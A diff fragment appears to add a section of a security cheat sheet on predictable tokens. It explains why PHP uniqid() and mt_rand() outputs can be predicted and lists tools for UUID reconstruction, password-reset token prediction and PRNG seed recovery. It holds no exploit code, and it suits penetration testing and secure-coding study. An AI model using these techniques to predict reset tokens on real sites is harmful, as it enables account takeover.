417
+
418
+ ### PHP uniqid()
419
+
420
+ ```php
421
+ uniqid() = hex(microtime)
422
+ // Output: 5f3e7a4c1d2b3
423
+ // Entirely based on current microsecond timestamp
424
+ // Predictable if you know approximate server time
425
+ ```
426
+
427
+ ### PHP mt_rand() Recovery
428
+
429
+ ```
430
+ # mt_rand() uses Mersenne Twister PRNG
431
+ # After observing ~624 outputs, full internal state is recoverable
432
+ # Tool: openwall/php_mt_seed
433
+ # Feed known outputs → recover seed → predict all future values
434
+ ```
435
+
436
+ ### Tools
437
+
438
+ - `guidtool` — UUID v1 reconstruction
439
+ - `AethliosIK/reset-tolkien` — Automated token prediction for password resets
440
+ - `openwall/php_mt_seed` — PHP mt_rand seed recovery
441
+ - `sandwich` — Token timestamp analysis